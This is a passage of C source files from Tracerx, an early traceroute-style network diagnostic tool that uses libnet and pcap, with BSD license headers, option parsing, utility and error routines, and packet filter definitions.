* tx_main.c ‑ main control logic

*

* Copyright (c) 1999 Mike D. Schiffman <mike@infonexus.com>

* Jeremy F. Rauch <jrauch@cadre.org>

* All rights reserved.

*

* Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met:

* 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. *

* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE.

*

*/

#if (HAVE_CONFIG_H)

#include "./config.h"

#endif

#include "./tx_main.h"

#include "./tx_util.h"

#include "./version.h"

#include "./tx_struct.h"

#include "./tx_error.h"

#include "./tx_framework.h"

int

main(int argc, char *argv[])

{

int c,

have_protocol; /* Mediates combined usage of ‑I and ‑P */

u_char err_buf[BUFSIZ];

struct tx_control *tx_c;

/*

* Need to be root to open link layer devices.

*/

if (geteuid() && getuid())

{

tx_error(FATAL, "Pony up the privledgez (UID or EIUD == 0).\n"); }

/*

* Initialize control structure. This structure is used by just about * every function in the program.

*/

if (tx_init_control(&tx_c) == ‑1)

{

tx_error(FATAL, "tx_init_control %s\n", strerror(errno)); }

/*

* Process commandline arguments.

*/

have_protocol = 0;

while ((c = getopt(argc, argv, "dFHhInrvxf:g:i:m:P:p:q:Ss:t:w:Vv")) != EOF) {

switch (c)

{

case 'b':

/* Select burst rate */

tx_c‑>burst_rate = tx_str2int(optarg, "burst rate", 1, BURST_RATE_MAX);

case 'D':

/* Set base TCP/UDP destination port number */

tx_c‑>initial_dport = tx_str2int(optarg, "initial dest port", 1, PORT_MAX);

break;

case 'd':

/* Socket level debugging (SO_DEBUG) */

/* NOOP */

break;

case 'F':

/* Set IP_DF (don't fragment) bit */

tx_c‑>ip_df = IP_DF;

break;

case 'f':

/* Set initial (first) IP TTL */

tx_c‑>current_ttl = tx_str2int(optarg, "initial TTL", 1, IP_TTL_MAX);

break;

case 'g':

/* Loose source routing */

/* NOOP */

break;

case 'H':

/* Verbose help */

/* WRITEME */

case 'h':

/* Help */

usage(argv[0]);

case 'I':

/* Use ICMP */

/* Set transport protocol and transport header size */

/* Overruled by ‑P */

if (!have_protocol)

{

tx_c‑>protocol = tx_prot_select("ICMP", &tx_c); }

break;

case 'i':

/* Interface */

tx_c‑>device = optarg;

break;

case 'm':

/* Max IP TTL */

tx_c‑>max_ttl = tx_str2int(optarg, "max TTL", 1, IP_TTL_MAX);

break;

case 'n':

/* Do not resolve hostnames */

tx_c‑>use_name = 0;

break;

case 'P':

/* Set transport protocol and transport header size */

/* (supercedes ‑I) */

tx_c‑>protocol = tx_prot_select(optarg, &tx_c); have_protocol = 1;

break;

case 'p':

/* Set base TCP/UDP destination port number */

tx_c‑>initial_dport = tx_str2int(optarg, "initial dest port", 1, PORT_MAX);

break;

case 'q':

/* Number of probes (queries) */

tx_c‑>probe_cnt = tx_str2int(optarg, "probe cnt", 1, PROBE_MAX);

break;

case 'r':

/* Bypass routing sockets */

/* NOOP */

break;

case 'S':

/* Do not increment TCP/UDP port numbers (static) */

tx_c‑>tx_flags |= TX_STATIC_PORTS; break;

case 's':

/* Set base TCP/UDP source port number */

tx_c‑>initial_sport = tx_str2int(optarg, "initial source port", 1, PORT_MAX);

break;

case 't':

/* Set IP_TOS (type of service) bits */

tx_c‑>ip_tos = tx_str2int(optarg, "IP tos", 0, 255); break;

case 'V':

/* Version information */

fprintf(stderr, "\n%s\nversion %s\n", BANNER, version); exit(EXIT_SUCCESS);

case 'v':

/* Verbose output */

tx_c‑>verbose = 1;

break;

case 'x':

/* Toggle checksums */

/* NOOP */

break;

case 'w':

/* Time to wait (in seconds) */

tx_c‑>reading_wait = tx_str2int(optarg, "read wait", 2, WAIT_MAX);

break;

default:

usage(argv[0]);

}

}

/*

* Parse the command line for the destination host and possible * packetlength.

*/

switch (argc ‑ optind)

{

case 2:

/*

* User specified packetlength (optional). This will later * be verified and adjusted if necessary. */

tx_c‑>packet_size = tx_str2int(argv[optind + 1], "packet length", PACKET_MIN, PACKET_MAX);

/* FALLTHROUGH */

case 1:

/* Host (required). */

tx_c‑>host = libnet_name_resolve(argv[optind], 1); if (tx_c‑>host == ‑1)

{

tx_error(FATAL, "Cannot resolve host IP address\n"); }

break;

default:

usage(argv[0]);

}

/*

* Bring up the network components.

*/

if (tx_init_network(&tx_c, err_buf) == ‑1)

{

tx_error(FATAL, "Cannot initialize the network: %s\n", err_buf); }

/*

* Start the game!

*/

tx_do_scan(&tx_c);

/*

* Stop the game!

*/

tx_shutdown(&tx_c);

return (EXIT_SUCCESS);

}

void

usage(char *argv0)

{

fprintf(stderr,

"\nUsage : %s [options] host [packetlength]\n" "\t\t [‑b] burst rate\n"

"\t\t [‑F] IP_DF\n"

"\t\t [‑f] base IP TTL\n"

"\t\t [‑g] loose source routing\n"

"\t\t [‑H] verbose help\n"

"\t\t [‑h] help\n"

"\t\t [‑I] use ICMP\n"

"\t\t [‑i] specify interface\n"

"\t\t [‑m] max IP TTL (hopcount)\n" "\t\t [‑n] do not resolve IP addresses into hostnames\n" "\t\t [‑P] transport protocol (supercedes ‑I)\n" "\t\t [‑p] base TCP/UDP port number (destination)\n" "\t\t [‑q] number of probes\n"

"\t\t [‑S] do not increment TCP/UDP port numbers (static)\n" "\t\t [‑s] base TCP/UDP port number (source)\n" "\t\t [‑t] IP TOS\n"

"\t\t [‑V] version information\n"

"\t\t [‑v] verbose output\n"

"\t\t [‑w] wait (in seconds)\n"

"\n", argv0);

exit(EXIT_FAILURE);

}

/* EOF */

<‑‑>

<++> P55/Tracerx/tx_report.c !04c69fdd

/*

* $Id: tx_report.c,v 1.1.1.1 1999/05/28 23:55:06 route Exp $

*

* Tracerx

* tx_report.c ‑ reporting and printing module

*

* Copyright (c) 1999 Mike D. Schiffman <mike@infonexus.com>

* Jeremy F. Rauch <jrauch@cadre.org>

* All rights reserved.

*

* Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met:

* 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. *

* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE.

*

*/

#if (HAVE_CONFIG_H)

#include "./config.h"

#endif

#include "./tx_struct.h"

#include "./tx_packet_capture.h"

void

tx_report(int class, u_char *packet, struct tx_control **tx_c)

{

switch (class)

{

case TX_PACKET_IS_EXPIRED:

break;

case TX_PACKET_IS_TERMINAL:

break;

case TX_PACKET_IS_UNREACH_EN_ROUTE:

break;

default:

break;

}

}

/* EOF */

<‑‑>

<++> P55/Tracerx/tx_util.c !29dd0492

/*

* $Id: tx_util.c,v 1.2 1999/05/29 20:28:43 route Exp $

*

* Tracerx

* tx_util.c ‑ various routines

*

* Copyright (c) 1999 Mike D. Schiffman <mike@infonexus.com>

* Jeremy F. Rauch <jrauch@cadre.org>

* All rights reserved.

*

* Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met:

* 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. *

* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE.

*

*/

#if (HAVE_CONFIG_H)

#include "./config.h"

#endif

#include "./tx_main.h"

#include "./tx_struct.h"

#include "./tx_util.h"

#include "./tx_error.h"

int

tx_str2int(register const char *str, register const char *what, register int min, register int max)

{

register const char *cp;

register int val;

char *ep;

if (str[0] == '0' && (str[1] == 'x' || str[1] == 'X'))

{

cp = str + 2;

val = (int)strtol(cp, &ep, 16);

}

else

{

val = (int)strtol(str, &ep, 10);

}

if (*ep != '\0')

{

tx_error(FATAL, "\"%s\" bad value for %s \n", str, what); }

if (val < min && min >= 0)

{

if (min == 0)

{

tx_error(FATAL, "%s must be >= %d\n", what, min); }

else

{

tx_error(FATAL, "%s must be > %d\n", what, min ‑ 1); }

}

if (val > max && max >= 0)

{

tx_error(FATAL, "%s must be <= %d\n", what, max);

}

return (val);

}

int

tx_prot_select(char *protocol, struct tx_control **tx_c)

{

char *supp_protocols[] = {"UDP", "TCP", "ICMP", 0};

int i;

for (i = 0; supp_protocols[i]; i++)

{

if ((!strcasecmp(supp_protocols[i], protocol)))

{

switch (i)

{

case 0:

/* UDP */

(*tx_c)‑>packet_size = IP_H + UDP_H + TX_P; return (IPPROTO_UDP);

case 1:

/* TCP */

(*tx_c)‑>packet_size = IP_H + TCP_H + TX_P; return (IPPROTO_TCP);

case 2:

/* ICMP */

(*tx_c)‑>packet_size = IP_H + ICMP_ECHO_H + TX_P; return (IPPROTO_ICMP); default:

tx_error(FATAL, "Unknown protocol: %s\n", protocol); }

}

}

tx_error(FATAL, "Unknown protocol: %s\n", protocol);

/* UNREACHED (silences compiler warnings) */

return (‑1);

}

int

tx_get_hwaddrs(struct ether_addr **l, struct ether_addr **r, struct tx_control **tx_c, u_char *errbuf)

{

*l = get_hwaddr((*tx_c)‑>l, (*tx_c)‑>device, errbuf);

if (l == NULL)

{

return (‑1);

}

}

/* EOF */

<‑‑>

<++> P55/Tracerx/tx_error.c !1962d944

/*

* $Id: tx_error.c,v 1.1.1.1 1999/05/28 23:55:06 route Exp $

*

* Tracerx

* tx_error.c ‑ error handling routines

*

* Copyright (c) 1999 Mike D. Schiffman <mike@infonexus.com>

* Jeremy F. Rauch <jrauch@cadre.org>

* All rights reserved.

*

* Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met:

* 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. *

* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE.

*

*/

#if (HAVE_CONFIG_H)

#include "./config.h"

#endif

#include "./tx_main.h"

#include "./tx_error.h"

void

tx_error(int severity, char *msg, ...)

{

va_list ap;

char buf[BUFSIZ];

va_start(ap, msg);

vsnprintf(buf, sizeof(buf) ‑ 1, msg, ap);

switch (severity)

{

case WARNING:

fprintf(stderr, "Warning: ");

break;

case CRITICAL:

fprintf(stderr, "Critical: ");

break;

case FATAL:

fprintf(stderr, "Fatal: ");

break;

}

fprintf(stderr, "%s", buf);

va_end(ap);

if (severity == FATAL)

{

exit(EXIT_FAILURE);

}

}

/* EOF */

<‑‑>

<++> P55/Tracerx/tx_framework.h !4bc795bb

/*

* $Id: tx_framework.h,v 1.3 1999/06/03 22:06:52 route Exp $

*

* Tracerx

*

*

* Copyright (c) 1999 Mike D. Schiffman <mike@infonexus.com>

* Copyright (c) 1998 Mike D. Schiffman <mds@es2.net>

* All rights reserved.

*

* Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met:

* 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. *

* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. DEDICATED TO ARA.

*

*/

#ifndef _TX_TRACERX_H

#define _TX_TRACERX_H

#define TX_STATIC_PORTS 0x1

#define PACKET_MIN IP_H + UDP_H + TX_P

/* min packet size */

#define PACKET_MAX 1500 /* max packet size */

#define BURST_RATE_MAX 30 /* max burst rate */

#define IP_TTL_MAX 255 /* max IP TTL */

#define PORT_MAX 65535 /* max port */

#define PROBE_MAX 100 /* max probe count per round */

#define WAIT_MAX 360 /* max time to wait for responses */

#define PCAP_BUFSIZ 576 /* bytes per packet we can capture */

int

tx_init_control(

struct tx_control **

);

int

tx_init_network(

struct tx_control **,

char *

);

int

tx_do_scan(

struct tx_control **

);

int

tx_shutdown(

struct tx_control **

);

#endif /* _TX_TRACERX_H */

/* EOF */

<‑‑>

<++> P55/Tracerx/tx_packet_build.h !6de4be5c

/*

* $Id: tx_packet_build.h,v 1.3 1999/06/03 22:06:52 route Exp $ *

* Tracerx

* High‑level packet construction routines

*

* Copyright (c) 1999 Mike D. Schiffman <mike@infonexus.com>

* Copyright (c) 1998 Mike D. Schiffman <mds@es2.net>

* All rights reserved.

*

* Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met:

* 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. *

* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. DEDICATED TO ARA.

*

*/

#ifndef _TX_PACKET_BUILD_H

#define _TX_PACKET_BUILD_H

int

tx_packet_build_probe(

struct tx_control **

);

int

tx_packet_build_payload(

struct tx_control **,

int

);

int

tx_packet_build_udp(

struct tx_control **

);

int

tx_packet_build_tcp(

struct tx_control **

);

int

tx_packet_build_icmp(

struct tx_control **

);

int

tx_packet_update_probe(

struct tx_control **

);

#endif /* _TX_PACKET_BUILD_H */

/* EOF */

<‑‑>

<++> P55/Tracerx/tx_packet_inject.h !9b8fc656

/*

* $Id: tx_packet_inject.h,v 1.3 1999/06/03 22:06:52 route Exp $ *

* Tracerx

* High‑level packet injection routines

*

* Copyright (c) 1999 Mike D. Schiffman <mike@infonexus.com>

* Copyright (c) 1998 Mike D. Schiffman <mds@es2.net>

* All rights reserved.

*

* Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met:

* 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. *

* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. DEDICATED TO ARA.

*

*/

#ifndef _TX_PACKET_INJECT_H

#define _TX_PACKET_INJECT_H

int

tx_packet_inject(

struct tx_control **

);

#endif /* _TX_PACKET_INJECT_H */

/* EOF */

<‑‑>

<++> P55/Tracerx/tx_packet_verify.h !a40d5aef

/*

* $Id$

*

* Tracerx

* packet verification routines

*

* Copyright (c) 1999 Mike D. Schiffman <mike@infonexus.com>

* All rights reserved.

*

* Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met:

* 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. *

* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. DEDICATED TO ARA.

*

*/

#ifndef _TX_PACKET_VERIFY_H

#define _TX_PACKET_VERIFY_H

int

tx_packet_verify_udp(

char *,

struct tx_control **

);

int

tx_packet_verify_tcp(

char *,

struct tx_control **

);

int

tx_packet_verify_icmp(

char *,

struct tx_control **

);

#endif /* _TX_PACKET_VERIFY_H */

/* EOF */

<‑‑>

<++> P55/Tracerx/tx_packet_filter.h !f4dbb92f

/*

* $Id: tx_packet_filter.h,v 1.1 1999/06/03 22:06:52 route Exp $ *

* Tracerx

* packet filtering routines

*

* Copyright (c) 1999 Mike D. Schiffman <mike@infonexus.com>

* All rights reserved.

*

* Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met:

* 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. *

* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. DEDICATED TO ARA.

*

*/

#ifndef _TX_PACKET_FILTER_H

#define _TX_PACKET_FILTER_H

/*

* Since we are not putting the interface into promiscuous mode, we don't * need to sift through packets looking for our IP; this simplfies our * filter language. For each scan type, we of course need to receive * ICMP TTL expired in transit type messages (ICMP type 11).

* For UDP, our terminal packet is an unreachable (ICMP type 3). * For TCP, our terminal packet is a TCP RST (or an RST/ACK).

* For ICMP, our terminal packet is an ICMP echo reply.

* However, for the last two, we need to be prepared for unreachables as * network conditions are unpredictable.

*/

#define TX_BPF_FILTER_UDP "icmp[0] == 11 or icmp[0] == 3"

#define TX_BPF_FILTER_TCP "icmp[0] == 11 or icmp[0] == 3 or tcp[14] == 0x12 \ or tcp[14] == 0x4 or tcp[14] == 0x14" #define TX_BPF_FILTER_ICMP "icmp[0] == 11 or icmp[0] == 3 or icmp[0] == 0"

int

tx_set_pcap_filter(

char *, /* filter code to install */

struct tx_control **

);

#endif /* _TX_PACKET_FILTER_H */

/* EOF */

<‑‑>

<++> P55/Tracerx/tx_packet_capture.h !be216cbf

/*

* $Id: tx_packet_capture.h,v 1.1.1.1 1999/05/28 23:55:06 route Exp $ *

* Tracerx

* High‑level packet injection routines

*

* Copyright (c) 1999 Mike D. Schiffman <mike@infonexus.com>

* Copyright (c) 1998 Mike D. Schiffman <mds@es2.net>

* All rights reserved.

*

* Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met:

* 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. *

* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. DEDICATED TO ARA.

*

*/

#ifndef _TX_PACKET_CAPTURE_H

#define _TX_PACKET_CAPTURE_H

#define TX_PACKET_IS_BORING 0

#define TX_PACKET_IS_EXPIRED 1

#define TX_PACKET_IS_TERMINAL 2

#define TX_PACKET_IS_TERMINAL_EXOTIC 3

#define TX_PACKET_IS_UNREACH_EN_ROUTE 4

int

tx_packet_snatcher(

struct tx_control **

);

#endif /* _TX_PACKET_CAPTURE_H */

/* EOF */

<‑‑>

<++> P55/Tracerx/tx_main.h !1526759a

/*

* $Id: tx_main.h,v 1.2 1999/05/29 20:28:42 route Exp $

*

* TracerX

*

* Copyright (c) 1999 Mike D. Schiffman <mike@infonexus.com>

* Copyright (c) 1998 Mike D. Schiffman <mds@es2.net>

* All rights reserved.

*

* Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met:

* 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. *

* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. DEDICATED TO ARA.

*

*/

#ifndef _MAIN_H

#define _MAIN_H

#include <stdarg.h>

#include <pcap.h>

#include <libnet.h>

#define BANNER "TracerX (c) 1999 Mike D. Schiffman <mike@infonexus.com> and \ Jeremy F. Rauch\n<jrauch@cadre.org>. Distribution is unlimited provided due \ credit is given and no fee is charged.\n\nhttp://www.packetfactory.net/tracerx \

for more information.\n"

void

usage(

char *

);

#endif /* _MAIN_H */

/* EOF */

<‑‑>

<++> P55/Tracerx/tx_report.h !05ed6ef4

/*

* $Id$

*

* Tracerx

* Report generation routines

*

* Copyright (c) 1999 Mike D. Schiffman <mike@infonexus.com>

* All rights reserved.

*

